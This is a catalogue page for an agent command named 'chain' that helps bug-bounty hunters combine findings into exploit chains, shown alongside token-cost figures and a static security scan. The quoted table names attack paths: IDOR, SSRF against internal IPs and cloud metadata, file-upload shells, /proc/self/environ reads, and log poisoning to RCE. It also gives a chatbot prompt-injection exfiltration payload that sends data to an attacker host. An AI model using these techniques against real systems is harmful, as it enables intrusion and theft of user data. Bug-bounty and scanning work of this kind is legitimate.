Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
git clone --depth 1 https://github.com/adriannoes/awesome-agentic-aiWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/commands/adriannoes/awesome-agentic-ai/chain)<a href="https://agentmods.dev/commands/adriannoes/awesome-agentic-ai/chain"><img src="https://agentmods.dev/badge/commands/adriannoes/awesome-agentic-ai/chain.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00062 | $0.01399 |
| Opus 5 | $0.00031 | $0.00700 |
| Sonnet 5 | $0.00012 | $0.00280 |
| Haiku 4.5 | $0.00006 | $0.00140 |
Grade B, and why
chain scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
2. Try internal IPs: 169.254.169.254, 10.x.x.x, 172.16.x.x Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
This is a copy
100% identical to chain — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 135 lines — stays where its author put it; the contents beside it link to each section on GitHub.
/chain
Build an A→B→C exploit chain for higher severity and payout.
When to Use This
After confirming a standalone finding that:
- Is on the "conditionally valid" list (open redirect, SSRF DNS-only, etc.)
- Has been validated but classified as Low
- Could be Medium or High if combined with another finding
Usage
/chain
Describe bug A when prompted. Include:
- Bug class
- Endpoint
- What you can do with it
- Target platform
The A→B Signal Table
If you found A, immediately check these B candidates:
| Found A | Immediately Check B | Also Check C |
|---|---|---|
IDOR on GET /api/user/X/orders |
IDOR on PUT/DELETE same path | IDOR on ALL sibling endpoints |
IDOR on /v2/ endpoint |
Same IDOR on /v1/ (missing fix) |
IDOR on mobile API |
| Auth bypass on one endpoint | Every sibling in same controller | Old API version |
| Stored XSS in user input | Does admin view this? (priv esc) | Email/export/PDF rendering |
| SSRF with DNS callback | SSRF reaching internal services | SSRF via open redirect |
| SQLi on one parameter | Every parameter in same endpoint | Same param type in sibling endpoints |
| File upload — PNG allowed | Try SVG (XSS), HTML, PHP/JSP (RCE) | Double extension: shell.php.jpg |
| OAuth missing PKCE | CSRF on OAuth flow (state param?) | Token reuse: auth_code exchanged twice? |
| Open redirect confirmed | OAuth code theft via redirect_uri | Phishing chain |
| GraphQL introspection | Auth bypass on mutations | IDOR via node(id) |
| Race condition on coupons | Race on credits/wallet | Race on rate limits |
| Exposed S3 listing | JS bundles → grep API keys/OAuth | .env files in bucket |
| Missing rate limit on OTP | Brute force OTP directly | Brute force password reset tokens |
| CSRF on sensitive action | XSS→CSRF = Critical | img src / form autosubmit |
| Path traversal | LFI: /proc/self/environ or logs | Log poisoning → RCE |
| Leaked API key in JS | Call API as that key — what can it do? | Other keys in same JS file |
| LLM chatbot prompt injection | IDOR via chatbot (read other user's data) | Exfil chain: <img src="attacker?d=USER_DATA"> |
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 135 lines · 0 tokens per session scan B ab9950ab8a18
chain is a command published in the GitHub repository adriannoes/awesome-agentic-ai (56 stars, last pushed 10d ago), licensed MIT. It adds 62 tokens to every session and 1,399 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 1 finding (cloud metadata endpoint). It is 100% identical to chain, differing in 0 lines, and is treated as a copy.
Other commands, from other repositories
design-onboarding
Design a first-run experience end to end — activation path, progressive disclosure, and time to first value.
assistant-auto
Orchestrator in automatic mode. Choose the workflow that semantically fits based on the request + the injected repo context, then execute immediately via Skill.
growth-email
Create transactional and marketing email templates.
amby.clarify
Resolve the open [NEEDS CLARIFICATION] markers in a feature spec.
aw-upgrade
Upgrade gh-aw extension, recompile and validate all workflows, and open a PR with changes.
review
Conduct a five-axis code review — correctness, readability, architecture, security, performance.